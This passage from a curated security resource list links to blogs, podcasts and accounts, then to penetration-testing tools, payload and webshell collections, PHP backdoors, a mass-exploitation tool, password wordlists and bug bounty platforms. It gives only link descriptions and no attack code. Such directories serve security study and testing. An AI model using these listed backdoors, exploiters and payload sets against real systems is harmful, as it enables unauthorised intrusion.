:small_orange_diamond: <a href="https://www.youtube.com/watch?v=nAFpkV5-vuI"><b>Varnish for PHP developers</b></a> - very interesting presentation of Varnish by Mattias Geniar.<br>
:small_orange_diamond: <a href="https://www.youtube.com/watch?v=CZ3wIuvmHeM"><b>A Netflix Guide to Microservices</b></a> - alks about the chaotic and vibrant world of microservices at Netflix.<br>
</p>
##### :black_small_square: Developers
<p>
:small_orange_diamond: <a href="https://www.youtube.com/watch?v=yOyaJXpAYZQ"><b>Comparing C to machine lang</b></a> - compare a simple C app with the compiled machine code of that program.<br>
</p>
##### :black_small_square: Geeky Persons
<p>
:small_orange_diamond: <a href="http://www.brendangregg.com/"><b>Brendan Gregg's Blog</b></a> - is an industry expert in computing performance and cloud computing.<br>
:small_orange_diamond: <a href="https://gynvael.coldwind.pl/"><b>Gynvael "GynDream" Coldwind</b></a> - is a IT security engineer at Google.<br>
:small_orange_diamond: <a href="http://lcamtuf.coredump.cx/"><b>Michał "lcamtuf" Zalewski</b></a> - white hat hacker, computer security expert.<br>
:small_orange_diamond: <a href="https://ma.ttias.be/"><b>Mattias Geniar</b></a> - developer, sysadmin, blogger, podcaster and public speaker.<br>
:small_orange_diamond: <a href="https://nickcraver.com/"><b>Nick Craver</b></a> - software developer and systems administrator for Stack Exchange.<br>
:small_orange_diamond: <a href="https://scotthelme.co.uk/"><b>Scott Helme</b></a> - security researcher, international speaker and founder of securityheaders.com and report-uri.com.<br>
:small_orange_diamond: <a href="https://krebsonsecurity.com/"><b>Brian Krebs</b></a> - The Washington Post and now an Independent investigative journalist.<br>
:small_orange_diamond: <a href="https://www.schneier.com/"><b>Bruce Schneier</b></a> - is an internationally renowned security technologist, called a "security guru".<br>
:small_orange_diamond: <a href="https://chrissymorgan.co.uk/"><b>Chrissy Morgan</b></a> - advocate of practical learning, Chrissy also takes part in bug bounty programs.<br>
:small_orange_diamond: <a href="https://blog.zsec.uk/"><b>Andy Gill</b></a> - is a hacker at heart who works as a senior penetration tester.<br>
:small_orange_diamond: <a href="https://danielmiessler.com/"><b>Daniel Miessler</b></a> - cybersecurity expert and writer.<br>
:small_orange_diamond: <a href="https://samy.pl/"><b>Samy Kamkar</b></a> - is an American privacy and security researcher, computer hacker.<br>
:small_orange_diamond: <a href="https://www.j4vv4d.com/"><b>Javvad Malik</b></a> - is a security advocate at AlienVault, a blogger event speaker and industry commentator.<br>
:small_orange_diamond: <a href="https://www.grahamcluley.com/"><b>Graham Cluley</b></a> - public speaker and independent computer security analyst.<br>
:small_orange_diamond: <a href="https://security.szurek.pl/"><b>Kacper Szurek</b></a> - detection engineer at ESET.<br>
:small_orange_diamond: <a href="https://www.troyhunt.com/"><b>Troy Hunt</b></a> - web security expert known for public education and outreach on security topics.<br>
:small_orange_diamond: <a href="https://raymii.org/s/index.html"><b>raymii.org</b></a> - sysadmin specializing in building high availability cloud environments.<br>
:small_orange_diamond: <a href="https://robert.penz.name/"><b>Robert Penz</b></a> - IT security expert.<br>
</p>
##### :black_small_square: Geeky Blogs
<p>
:small_orange_diamond: <a href="https://linux-audit.com/"><b>Linux Audit</b></a> - the Linux security blog about auditing, hardening and compliance by Michael Boelen.<br>
:small_orange_diamond: <a href="https://linuxsecurity.expert/"><b>
Linux Security Expert</b></a> - trainings, howtos, checklists, security tools, and more.<br>
:small_orange_diamond: <a href="http://www.grymoire.com/"><b>The Grymoire</b></a> - collection of useful incantations for wizards, be you computer wizards, magicians, or whatever.<br>
:small_orange_diamond: <a href="https://www.secjuice.com"><b>Secjuice</b></a> - is the only non-profit, independent and volunteer led publication in the information security space.<br>
:small_orange_diamond: <a href="https://duo.com/decipher"><b>Decipher</b></a> - security news that informs and inspires.<br>
</p>
##### :black_small_square: Geeky Vendor Blogs
<p>
:small_orange_diamond: <a href="https://www.tenable.com/podcast"><b>Tenable Podcast</b></a> - conversations and interviews related to Cyber Exposure, and more.<br>
:small_orange_diamond: <a href="https://nakedsecurity.sophos.com/"><b>Sophos</b></a> - threat news room, giving you news, opinion, advice and research on computer security issues.<br>
:small_orange_diamond: <a href="https://www.tripwire.com/state-of-security/"><b>Tripwire State of Security</b></a> - blog featuring the latest news, trends and insights on current security issues.<br>
:small_orange_diamond: <a href="https://blog.malwarebytes.com/"><b>Malwarebytes Labs Blog</b></a> - security blog aims to provide insider news about cybersecurity.<br>
:small_orange_diamond: <a href="https://www.trustedsec.com/category/articles/"><b>TrustedSec</b></a> - latest news, and trends about cybersecurity.<br>
:small_orange_diamond: <a href="https://portswigger.net/blog"><b>PortSwigger Web Security Blog</b></a> - about web app security vulns and top tips from our team of web security.<br>
:small_orange_diamond: <a href="https://www.alienvault.com/blogs"><b>AT&T Cybersecurity blog</b></a> - news on emerging threats and practical advice to simplify threat detection.<br>
:small_orange_diamond: <a href="https://thycotic.com/company/blog/"><b>Thycotic</b></a> - where CISOs and IT Admins come to learn about industry trends, IT security, and more.<br>
</p>
##### :black_small_square: Geeky Cybersecurity Podcasts
<p>
:small_orange_diamond: <a href="https://risky.biz/netcasts/risky-business/"><b>Risky Business</b></a> - is a weekly information security podcast featuring news and in-depth interviews.<br>
:small_orange_diamond: <a href="https://www.vice.com/en_us/topic/cyber"><b>Cyber, by Motherboard</b></a> - stories, and focus on the ideas about cybersecurity.<br>
:small_orange_diamond: <a href="https://www.tenable.com/podcast"><b>Tenable Podcast</b></a> - conversations and interviews related to Cyber Exposure, and more.<br>
:small_orange_diamond: <a href="https://podcasts.apple.com/gb/podcast/cybercrime-investigations/id1428801405"><b>
Cybercrime Investigations</b></a> - podcast by Geoff White about cybercrimes.<br>
:small_orange_diamond: <a href="https://themanyhats.club/tag/episodes/"><b>The many hats club</b></a> - featuring stories from a wide range of Infosec people (Whitehat, Greyhat and Blackhat).<br>
:small_orange_diamond: <a href="https://darknetdiaries.com/"><b>Darknet Diaries</b></a> - true stories from the dark side of the Internet.<br>
:small_orange_diamond: <a href="https://www.youtube.com/playlist?list=PL423I_gHbWUXah3dmt_q_XNp0NlGAKjis"><b>OSINTCurious Webcasts</b></a> - is the investigative curiosity that helps people be successful in OSINT.<br>
:small_orange_diamond: <a href="https://www.youtube.com/user/SecurityWeeklyTV"><b>Security Weekly</b></a> - the latest information security and hacking news.<br>
</p>
##### :black_small_square: Geeky Cybersecurity Video Blogs
<p>
:small_orange_diamond: <a href="https://www.youtube.com/channel/UCzvJStjySZVvOBsPl-Vgj0g"><b>rev3rse security</b></a> - offensive, binary exploitation, web app security, vulnerability, hardening, red team, blue team.<br>
:small_orange_diamond: <a href="https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w"><b>LiveOverflow</b></a> - a lot more advanced topics than what is typically offered in paid online courses - but for free.<br>
:small_orange_diamond: <a href="https://www.youtube.com/infoseccynic"><b>J4vv4D</b></a> - the important information regarding our internet security.<br>
:small_orange_diamond: <a href="https://cybertalks.co.uk/"><b>
CyberTalks</b></a> - talks, interviews, and article about cybersecurity.<br>
</p>
##### :black_small_square: Best Personal Twitter Accounts
<p>
:small_orange_diamond: <a href="https://twitter.com/blackroomsec"><b>@blackroomsec</b></a> - a white-hat hacker/pentester. Intergalactic Minesweeper Champion 1990.<br>
:small_orange_diamond: <a href="https://twitter.com/MarcoCiappelli"><b>@MarcoCiappelli</b></a> - Co-Founder @ITSPmagazine, at the intersection of IT security and society.<br>
:small_orange_diamond: <a href="https://twitter.com/binitamshah"><b>@binitamshah</b></a> - Linux Evangelist. Malwares. Kernel Dev. Security Enthusiast.<br>
:small_orange_diamond: <a href="https://twitter.com/joe_carson"><b>@joe_carson</b></a> - an InfoSec Professional and Tech Geek.<br>
:small_orange_diamond: <a href="https://twitter.com/mikko"><b>@mikko</b></a> - CRO at F-Secure, Reverse Engineer, TED Speaker, Supervillain.<br>
:small_orange_diamond: <a href="https://twitter.com/esrtweet"><b>@esrtweet</b></a> - often referred to as ESR, is an American software developer, and open-source software advocate.<br>
:small_orange_diamond: <a href="https://twitter.com/gynvael"><b>@gynvael</b></a> - security researcher/programmer, @DragonSectorCTF founder/player, technical streamer.<br>
:small_orange_diamond: <a href="https://twitter.com/x0rz"><b>@x0rz</b></a> - Security Researcher & Cyber Observer.<br>
:small_orange_diamond: <a href="https://twitter.com/hasherezade"><b>@hasherezade</b></a> - programmer, malware analyst. Author of PEbear, PEsieve, libPeConv.<br>
:small_orange_diamond: <a href="https://twitter.com/TinkerSec"><b>@TinkerSec</b></a> - tinkerer, cypherpunk, hacker.<br>
:small_orange_diamond: <a href="https://twitter.com/alisaesage"><b>@alisaesage</b></a> - independent hacker and researcher.<br>
:small_orange_diamond: <a href="https://twitter.com/SwiftOnSecurity"><b>@SwiftOnSecurity</b></a> - systems security, industrial safety, sysadmin, author of decentsecurity.com.<br>
:small_orange_diamond: <a href="https://twitter.com/dakami"><b>@dakami</b></a> - is one of just seven people with the authority to restore the DNS root keys.<br>
:small_orange_diamond: <a href="https://twitter.com/samykamkar"><b>@samykamkar</b></a> - is a famous "grey hat" hacker, security researcher, creator of the MySpace "Samy" worm.<br>
:small_orange_diamond: <a href="https://twitter.com/securityweekly"><b>@securityweekly</b></a> - founder & CTO of Security Weekly podcast network.<br>
:small_orange_diamond: <a href="https://twitter.com/jack_daniel"><b>@jack_daniel</b></a> - @SecurityBSides co-founder.<br>
:small_orange_diamond: <a href="https://twitter.com/thegrugq"><b>@thegrugq</b></a> - Security Researcher.<br>
:small_orange_diamond: <a href="https://twitter.com/matthew_d_green"><b>@matthew_d_green</b></a> - a cryptographer and professor at Johns Hopkins University.<br>
</p>
##### :black_small_square: Best Commercial Twitter Accounts
<p>
:small_orange_diamond: <a href="https://twitter.com/haveibeenpwned"><b>@haveibeenpwned</b></a> - check if you have an account that has been compromised in a data breach.<br>
:small_orange_diamond: <a href="https://twitter.com/bugcrowd"><b>@bugcrowd</b></a> - trusted by more of the Fortune 500 than any other crowdsourced security platform.<br>
:small_orange_diamond: <a href="https://twitter.com/Malwarebytes"><b>@Malwarebytes</b></a> - most trusted security company. Unmatched threat visibility.<br>
:small_orange_diamond: <a href="https://twitter.com/sansforensics"><b>@sansforensics</b></a> - the world's leading Digital Forensics and Incident Response provider.<br>
:small_orange_diamond: <a href="https://twitter.com/attcyber"><b>@attcyber</b></a> - AT&T Cybersecurity’s Edge-to-Edge technologies provide threat intelligence, and more.<br>
:small_orange_diamond: <a href="https://twitter.com/TheManyHatsClub"><b>@TheManyHatsClub</b></a> - an information security focused podcast and group of individuals from all walks of life.<br>
:small_orange_diamond: <a href="https://twitter.com/hedgehogsec"><b>@hedgehogsec</b></a> - Hedgehog Cyber. Gibraltar and Manchester's top boutique information security firm.<br>
:small_orange_diamond: <a href="https://twitter.com/NCSC"><b>@NCSC</b></a> - the National Cyber Security Centre. Helping to make the UK the safest place to live and work online.<br>
:small_orange_diamond: <a href="https://twitter.com/Synacktiv"><b>@Synacktiv</b></a> - IT security experts.<br>
</p>
##### :black_small_square: A piece of history
<p>
:small_orange_diamond: <a href="http://ftp.arl.army.mil/~mike/howto/"><b>How to Do Things at ARL</b></a> - how to configure modems, scan images, record CD-ROMs, and other.<b>*</b><br>
</p>
##### :black_small_square: Other
<p>
:small_orange_diamond: <a href="https://www.youtube.com/watch?v=3QnD2c4Xovk"><b>Diffie-Hellman Key Exchange (short version)</b></a> - how Diffie-Hellman Key Exchange worked.<br>
</p>
#### Hacking/Penetration Testing [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: Pentesters arsenal tools
<p>
:small_orange_diamond: <a href="http://www.syhunt.com/sandcat/"><b>Sandcat Browser</b></a> - a penetration-oriented browser with plenty of advanced functionality already built in.<br>
:small_orange_diamond: <a href="https://www.metasploit.com/"><b>Metasploit</b></a> - tool and framework for pentesting system, web and many more, contains a lot a ready to use exploit.<br>
:small_orange_diamond: <a href="https://portswigger.net/burp"><b>Burp Suite</b></a> - tool for testing web app security, intercepting proxy to replay, inject, scan and fuzz HTTP requests.<br>
:small_orange_diamond: <a href="https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project"><b>OWASP Zed Attack Proxy</b></a> - intercepting proxy to replay, inject, scan and fuzz HTTP requests.<br>
:small_orange_diamond: <a href="http://w3af.org/"><b>w3af</b></a> - is a Web Application Attack and Audit Framework.<br>
:small_orange_diamond: <a href="https://mitmproxy.org/"><b>mitmproxy</b></a> - an interactive TLS-capable intercepting HTTP proxy for penetration testers and software developers.<br>
:small_orange_diamond: <a href="https://cirt.net/Nikto2"><b>Nikto2</b></a> - web server scanner which performs comprehensive tests against web servers for multiple items.<br>
:small_orange_diamond: <a href="http://sqlmap.org/"><b>sqlmap</b></a> - tool that automates the process of detecting and exploiting SQL injection flaws.<br>
:small_orange_diamond: <a href="https://github.com/lanmaster53/recon-ng"><b>Recon-ng</b></a> - is a full-featured Web Reconnaissance framework written in Python.<br>
:small_orange_diamond: <a href="https://github.com/Tib3rius/AutoRecon"><b>AutoRecon</b></a> - is a network reconnaissance tool which performs automated enumeration of services.<br>
:small_orange_diamond: <a href="https://www.faradaysec.com/"><b>Faraday</b></a> - an Integrated Multiuser Pentest Environment.<br>
:small_orange_diamond: <a href="https://github.com/s0md3v/Photon"><b>Photon</b></a> - incredibly fast crawler designed for OSINT.<br>
:small_orange_diamond: <a href="https://github.com/s0md3v/XSStrike"><b>XSStrike</b></a> - most advanced XSS detection suite.<br>
:small_orange_diamond: <a href="https://github.com/1N3/Sn1per"><b>Sn1per</b></a> - automated pentest framework for offensive security experts.<br>
:small_orange_diamond: <a href="https://github.com/future-architect/vuls"><b>vuls</b></a> - is an agent-less vulnerability scanner for Linux, FreeBSD, and other.<br>
:small_orange_diamond: <a href="https://github.com/google/tsunami-security-scanner"><b>tsunami</b></a> - is a general purpose network security scanner with an extensible plugin system.<br>
:small_orange_diamond: <a href="https://github.com/michenriksen/aquatone"><b>aquatone</b></a> - a tool for domain flyovers.<br>
:small_orange_diamond: <a href="https://github.com/GitHackTools/BillCipher"><b>BillCipher</b></a> - information gathering tool for a website or IP address.<br>
:small_orange_diamond: <a href="https://github.com/Ekultek/WhatWaf"><b>WhatWaf</b></a> - detect and bypass web application firewalls and protection systems.<br>
:small_orange_diamond: <a href="https://github.com/s0md3v/Corsy"><b>Corsy</b></a> - CORS misconfiguration scanner.<br>
:small_orange_diamond: <a href="https://github.com/evyatarmeged/Raccoon"><b>Raccoon</b></a> - is a high performance offensive security tool for reconnaissance and vulnerability scanning.<br>
:small_orange_diamond: <a href="https://github.com/Nekmo/dirhunt"><b>dirhunt</b></a> - find web directories without bruteforce.<br>
:small_orange_diamond: <a href="https://www.openwall.com/john/"><b>John The Ripper</b></a> - is a fast password cracker, currently available for many flavors of Unix, Windows, and other.<br>
:small_orange_diamond: <a href="https://hashcat.net/hashcat/"><b>hashcat</b></a> - world's fastest and most advanced password recovery utility.<br>
:small_orange_diamond: <a href="http://lcamtuf.coredump.cx/p0f3/"><b>p0f</b></a> - is a tool to identify the players behind any incidental TCP/IP communications.<br>
:small_orange_diamond: <a href="https://github.com/mozilla/ssh_scan"><b>ssh_scan</b></a> - a prototype SSH configuration and policy scanner.<br>
:small_orange_diamond: <a href="https://github.com/woj-ciech/LeakLooker"><b>LeakLooker</b></a> - find open databases - powered by Binaryedge.io<br>
:small_orange_diamond: <a href="https://github.com/offensive-security/exploitdb"><b>exploitdb</b></a> - searchable archive from The Exploit Database.<br>
:small_orange_diamond: <a href="https://github.com/vulnersCom/getsploit"><b>getsploit</b></a> - is a command line utility for searching and downloading exploits.<br>
:small_orange_diamond: <a href="https://github.com/zardus/ctf-tools"><b>ctf-tools</b></a> - some setup scripts for security research tools.<br>
:small_orange_diamond: <a href="https://github.com/Gallopsled/pwntools"><b>pwntools</b></a> - CTF framework and exploit development library.<br>
:small_orange_diamond: <a href="https://github.com/bl4de/security-tools"><b>security-tools</b></a> - collection of small security tools created mostly in Python. CTFs, pentests and so on.<br>
:small_orange_diamond: <a href="https://github.com/leonteale/pentestpackage"><b>pentestpackage</b></a> - is a package of Pentest scripts.<br>
:small_orange_diamond: <a href="https://github.com/dloss/python-pentest-tools"><b>python-pentest-tools</b></a> - python tools for penetration testers.<br>
:small_orange_diamond: <a href="https://github.com/fuzzdb-project/fuzzdb"><b>fuzzdb</b></a> - dictionary of attack patterns and primitives for black-box application fault injection.<br>
:small_orange_diamond: <a href="https://github.com/google/AFL"><b>AFL</b></a> - is a free software fuzzer maintained by Google.<br>
:small_orange_diamond: <a href="https://github.com/AFLplusplus/AFLplusplus"><b>AFL++</b></a> - is AFL with community patches.<br>
:small_orange_diamond: <a href="https://github.com/google/syzkaller"><b>syzkaller</b></a> - is an unsupervised, coverage-guided kernel fuzzer.<br>
:small_orange_diamond: <a href="https://github.com/pwndbg/pwndbg"><b>pwndbg</b></a> - exploit development and reverse engineering with GDB made easy.<br>
:small_orange_diamond: <a href="https://github.com/longld/peda"><b>GDB PEDA</b></a> - Python Exploit Development Assistance for GDB.<br>
:small_orange_diamond: <a href="https://www.hex-rays.com/products/ida/index.shtml"><b>IDA</b></a> - multi-processor disassembler and debugger useful for reverse engineering malware.<br>
:small_orange_diamond: <a href="https://github.com/radare/radare2"><b>radare2</b></a> - framework for reverse-engineering and analyzing binaries.<br>
:small_orange_diamond: <a href="https://github.com/threat9/routersploit"><b>routersploit</b></a> - exploitation framework for embedded devices.<br>
:small_orange_diamond: <a href="https://github.com/NationalSecurityAgency/ghidra"><b>Ghidra</b></a> - is a software reverse engineering (SRE) framework.<br>
:small_orange_diamond: <a href="https://github.com/salesforce/vulnreport"><b>Vulnreport</b></a> - open-source pentesting management and automation platform by Salesforce Product Security.<br>
:small_orange_diamond: <a href="https://github.com/sc0tfree/mentalist"><b>Mentalist</b></a> - is a graphical tool for custom wordlist generation.<br>
:small_orange_diamond: <a href="https://github.com/archerysec/archerysec"><b>archerysec</b></a> - vulnerability assessment and management helps to perform scans and manage vulnerabilities.<br>
:small_orange_diamond: <a href="https://github.com/j3ssie/Osmedeus"><b>Osmedeus</b></a> - fully automated offensive security tool for reconnaissance and vulnerability scanning.<br>
:small_orange_diamond: <a href="https://github.com/beefproject/beef"><b>beef</b></a> - the browser exploitation framework project.<br>
:small_orange_diamond: <a href="https://github.com/NullArray/AutoSploit"><b>AutoSploit</b></a> - automated mass exploiter.<br>
:small_orange_diamond: <a href="https://github.com/TH3xACE/SUDO_KILLER"><b>SUDO_KILLER</b></a> - is a tool to identify and exploit sudo rules' misconfigurations and vulnerabilities.<br>
:small_orange_diamond: <a href="https://github.com/VirusTotal/yara"><b>yara</b></a> - the pattern matching swiss knife.<br>
:small_orange_diamond: <a href="https://github.com/gentilkiwi/mimikatz"><b>mimikatz</b></a> - a little tool to play with Windows security.<br>
:small_orange_diamond: <a href="https://github.com/sherlock-project/sherlock"><b>sherlock</b></a> - hunt down social media accounts by username across social networks.<br>
:small_orange_diamond: <a href="https://owasp.org/www-project-threat-dragon/"><b>OWASP Threat Dragon</b></a> - is a tool used to create threat model diagrams and to record possible threats.<br>
</p>
##### :black_small_square: Pentests bookmarks collection
<p>
:small_orange_diamond: <a href="http://www.pentest-standard.org/index.php/Main_Page"><b>PTES</b></a> - the penetration testing execution standard.<br>
:small_orange_diamond: <a href="https://www.amanhardikar.com/mindmaps/Practice.html"><b>Pentests MindMap</b></a> - amazing mind map with vulnerable apps and systems.<br>
:small_orange_diamond: <a href="https://www.amanhardikar.com/mindmaps/webapptest.html"><b>WebApps Security Tests MindMap</b></a> - incredible mind map for WebApps security tests.<br>
:small_orange_diamond: <a href="https://brutelogic.com.br/blog/"><b>Brute XSS</b></a> - master the art of Cross Site Scripting.<br>
:small_orange_diamond: <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet"><b>XSS cheat sheet</b></a> - contains many vectors that can help you bypass WAFs and filters.<br>
:small_orange_diamond: <a href="https://jivoi.github.io/2015/07/03/offensive-security-bookmarks/"><b>Offensive Security Bookmarks</b></a> - security bookmarks collection, all things that author need to pass OSCP.<br>
:small_orange_diamond: <a href="https://github.com/coreb1t/awesome-pentest-cheat-sheets"><b>Awesome Pentest Cheat Sheets</b></a> - collection of the cheat sheets useful for pentesting.<br>
:small_orange_diamond: <a href="https://github.com/Hack-with-Github/Awesome-Hacking"><b>Awesome Hacking by HackWithGithub</b></a> - awesome lists for hackers, pentesters and security researchers.<br>
:small_orange_diamond: <a href="https://github.com/carpedm20/awesome-hacking"><b>Awesome Hacking by carpedm20</b></a> - a curated list of awesome hacking tutorials, tools and resources.<br>
:small_orange_diamond: <a href="https://github.com/vitalysim/Awesome-Hacking-Resources"><b>Awesome Hacking Resources</b></a> - collection of hacking/penetration testing resources to make you better.<br>
:small_orange_diamond: <a href="https://github.com/enaqx/awesome-pentest"><b>Awesome Pentest</b></a> - collection of awesome penetration testing resources, tools and other shiny things.<br>
:small_orange_diamond: <a href="https://github.com/m4ll0k/Awesome-Hacking-Tools"><b>Awesome-Hacking-Tools</b></a> - is a curated list of awesome Hacking Tools.<br>
:small_orange_diamond: <a href="https://github.com/ksanchezcld/Hacking_Cheat_Sheet"><b>Hacking Cheat Sheet</b></a> - author hacking and pentesting notes.<br>
:small_orange_diamond: <a href="https://github.com/toolswatch/blackhat-arsenal-tools"><b>blackhat-arsenal-tools</b></a> - official Black Hat arsenal security tools repository.<br>
:small_orange_diamond: <a href="https://www.peerlyst.com/posts/the-complete-list-of-infosec-related-cheat-sheets-claus-cramon"><b>Penetration Testing and WebApp Cheat Sheets</b></a> - the complete list of Infosec related cheat sheets.<br>
:small_orange_diamond: <a href="https://github.com/The-Art-of-Hacking/h4cker"><b>Cyber Security Resources</b></a> - includes thousands of cybersecurity-related references and resources.<br>
:small_orange_diamond: <a href="https://github.com/jhaddix/pentest-bookmarks"><b>Pentest Bookmarks</b></a> - there are a LOT of pentesting blogs.<br>
:small_orange_diamond: <a href="https://github.com/OlivierLaflamme/Cheatsheet-God"><b>Cheatsheet-God</b></a> - Penetration Testing Reference Bank - OSCP/PTP & PTX Cheatsheet.<br>
:small_orange_diamond: <a href="https://github.com/Cyb3rWard0g/ThreatHunter-Playbook"><b>ThreatHunter-Playbook</b></a> - to aid the development of techniques and hypothesis for hunting campaigns.<br>
:small_orange_diamond: <a href="https://github.com/hmaverickadams/Beginner-Network-Pentesting"><b>Beginner-Network-Pentesting</b></a> - notes for beginner network pentesting course.<br>
:small_orange_diamond: <a href="https://github.com/rewardone/OSCPRepo"><b>OSCPRepo</b></a> - is a list of resources that author have been gathering in preparation for the OSCP.<br>
:small_orange_diamond: <a href="https://github.com/swisskyrepo/PayloadsAllTheThings"><b>PayloadsAllTheThings</b></a> - a list of useful payloads and bypass for Web Application Security and Pentest/CTF.<br>
:small_orange_diamond: <a href="https://github.com/foospidy/payloads"><b>payloads</b></a> - git all the Payloads! A collection of web attack payloads.<br>
:small_orange_diamond: <a href="https://github.com/payloadbox/command-injection-payload-list"><b>command-injection-payload-list</b></a> - command injection payload list.<br>
:small_orange_diamond: <a href="https://github.com/s0md3v/AwesomeXSS"><b>AwesomeXSS</b></a> - is a collection of Awesome XSS resources.<br>
:small_orange_diamond: <a href="https://github.com/JohnTroony/php-webshells"><b>php-webshells</b></a> - common php webshells.<br>
:small_orange_diamond: <a href="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/"><b>Pentesting Tools Cheat Sheet</b></a> - a quick reference high level overview for typical penetration testing.<br>
:small_orange_diamond: <a href="https://cheatsheetseries.owasp.org/"><b>OWASP Cheat Sheet Series</b></a> - is a collection of high value information on specific application security topics.<br>
:small_orange_diamond: <a href="https://jeremylong.github.io/DependencyCheck/index.html"><b>OWASP dependency-check</b></a> - is an open source solution the OWASP Top 10 2013 entry.<br>
:small_orange_diamond: <a href="https://www.owasp.org/index.php/OWASP_Proactive_Controls"><b>OWASP ProActive Controls</b></a> - OWASP Top 10 Proactive Controls 2018.<br>
:small_orange_diamond: <a href="https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE"><b>PENTESTING-BIBLE</b></a> - hacking & penetration testing & red team & cyber security & computer science resources.<br>
:small_orange_diamond: <a href="https://github.com/nixawk/pentest-wiki"><b>pentest-wiki</b></a> - is a free online security knowledge library for pentesters/researchers.<br>
:small_orange_diamond: <a href="https://media.defcon.org/"><b>DEF CON Media Server</b></a> - great stuff from DEFCON.<br>
:small_orange_diamond: <a href="https://github.com/rshipp/awesome-malware-analysis"><b>Awesome Malware Analysis</b></a> - a curated list of awesome malware analysis tools and resources.<br>
:small_orange_diamond: <a href="https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/"><b>SQL Injection Cheat Sheet</b></a> - detailed technical information about the many different variants of the SQL Injection.<br>
:small_orange_diamond: <a href="http://kb.entersoft.co.in/"><b>Entersoft Knowledge Base</b></a> - great and detailed reference about vulnerabilities.<br>
:small_orange_diamond: <a href="http://html5sec.org/"><b>HTML5 Security Cheatsheet</b></a> - a collection of HTML5 related XSS attack vectors.<br>
:small_orange_diamond: <a href="http://evuln.com/tools/xss-encoder/"><b>XSS String Encoder</b></a> - for generating XSS code to check your input validation filters against XSS.<br>
:small_orange_diamond: <a href="https://gtfobins.github.io/"><b>GTFOBins</b></a> - list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.<br>
:small_orange_diamond: <a href="https://guif.re/"><b>Guifre Ruiz Notes</b></a> - collection of security, system, network and pentest cheatsheets.<br>
:small_orange_diamond: <a href="http://blog.safebuff.com/2016/07/03/SSRF-Tips/index.html"><b>SSRF Tips</b></a> - a collection of SSRF Tips.<br>
:small_orange_diamond: <a href="http://shell-storm.org/repo/CTF/"><b>shell-storm repo CTF</b></a> - great archive of CTFs.<br>
:small_orange_diamond: <a href="https://github.com/bl4de/ctf"><b>ctf</b></a> - CTF (Capture The Flag) writeups, code snippets, notes, scripts.<br>
:small_orange_diamond: <a href="https://github.com/orangetw/My-CTF-Web-Challenges"><b>My-CTF-Web-Challenges</b></a> - collection of CTF Web challenges.<br>
:small_orange_diamond: <a href="https://github.com/OWASP/owasp-mstg"><b>MSTG</b></a> - The Mobile Security Testing Guide (MSTG) is a comprehensive manual for mobile app security testing.<br>
:small_orange_diamond: <a href="https://github.com/sdcampbell/Internal-Pentest-Playbook"><b>Internal-Pentest-Playbook</b></a> - notes on the most common things for an Internal Network Penetration Test.<br>
:small_orange_diamond: <a href="https://github.com/streaak/keyhacks"><b>KeyHacks</b></a> - shows quick ways in which API keys leaked by a bug bounty program can be checked.<br>
:small_orange_diamond: <a href="https://github.com/securitum/research"><b>securitum/research</b></a> - various Proof of Concepts of security research performed by Securitum.<br>
:small_orange_diamond: <a href="https://github.com/juliocesarfort/public-pentesting-reports"><b>public-pentesting-reports</b></a> - is a list of public pentest reports released by several consulting security groups.<br>
:small_orange_diamond: <a href="https://github.com/djadmin/awesome-bug-bounty"><b>awesome-bug-bounty</b></a> - is a comprehensive curated list of available Bug Bounty.<br>
:small_orange_diamond: <a href="https://github.com/ngalongc/bug-bounty-reference"><b>bug-bounty-reference</b></a> - is a list of bug bounty write-ups.<br>
:small_orange_diamond: <a href="https://github.com/devanshbatham/Awesome-Bugbounty-Writeups"><b>Awesome-Bugbounty-Writeups</b></a> - is a curated list of bugbounty writeups.<br>
:small_orange_diamond: <a href="https://pentester.land/list-of-bug-bounty-writeups.html"><b>Bug bounty writeups</b></a> - list of bug bounty writeups (2012-2020).<br>
:small_orange_diamond: <a href="https://hackso.me/"><b>hackso.me</b></a> - a great journey into security.<br>
</p>
##### :black_small_square: Backdoors/exploits
<p>
:small_orange_diamond: <a href="https://github.com/bartblaze/PHP-backdoors"><b>PHP-backdoors</b></a> - a collection of PHP backdoors. For educational or testing purposes only.<br>
</p>
##### :black_small_square: Wordlists and Weak passwords
<p>
:small_orange_diamond: <a href="https://weakpass.com/"><b>Weakpass</b></a> - for any kind of bruteforce find wordlists or unleash the power of them all at once!<br>
:small_orange_diamond: <a href="https://hashes.org/"><b>Hashes.org</b></a> - is a free online hash resolving service incorporating many unparalleled techniques.<br>
:small_orange_diamond: <a href="https://github.com/danielmiessler/SecLists"><b>SecLists</b></a> - collection of multiple types of lists used during security assessments, collected in one place.<br>
:small_orange_diamond: <a href="https://github.com/berzerk0/Probable-Wordlists"><b>Probable-Wordlists</b></a> - sorted by probability originally created for password generation and testing.<br>
:small_orange_diamond: <a href="https://wiki.skullsecurity.org/index.php?title=Passwords"><b>skullsecurity passwords</b></a> - password dictionaries and leaked passwords repository.<br>
:small_orange_diamond: <a href="https://bezpieka.org/polski-slownik-premium-polish-wordlist"><b>Polish PREMIUM Dictionary</b></a> - official dictionary created by the team on the forum bezpieka.org.<b>*</b> <sup><a href="https://sourceforge.net/projects/kali-linux/files/Wordlist/">1</sup><br>
:small_orange_diamond: <a href="https://github.com/insidetrust/statistically-likely-usernames"><b>statistically-likely-usernames</b></a> - wordlists for creating statistically likely username lists.<br>
</p>
##### :black_small_square: Bounty platforms
<p>
:small_orange_diamond: <a href="https://www.yeswehack.com/"><b>YesWeHack</b></a> - bug bounty platform with infosec jobs.<br>
:small_orange_diamond: <a href="https://www.openbugbounty.org/"><b>Openbugbounty</b></a> - allows any security researcher reporting a vulnerability on any website.<br>
:small_orange_diamond: <a href="https://www.hackerone.com/"><b>hackerone</b></a> - global hacker community to surface the most relevant security issues.<br>
:small_orange_diamond: <a href="https://www.bugcrowd.com/"><b>bugcrowd</b></a> - crowdsourced cybersecurity for the enterprise.<br>
:small_orange_diamond: <a href="https://crowdshield.com/"><b>Crowdshield</b></a> - crowdsourced security & bug bounty management.<br>
:small_orange_diamond: <a href="https://www.synack.com/"><b>Synack</b></a> - crowdsourced security & bug bounty programs, crowd security intelligence platform, and more.<br>
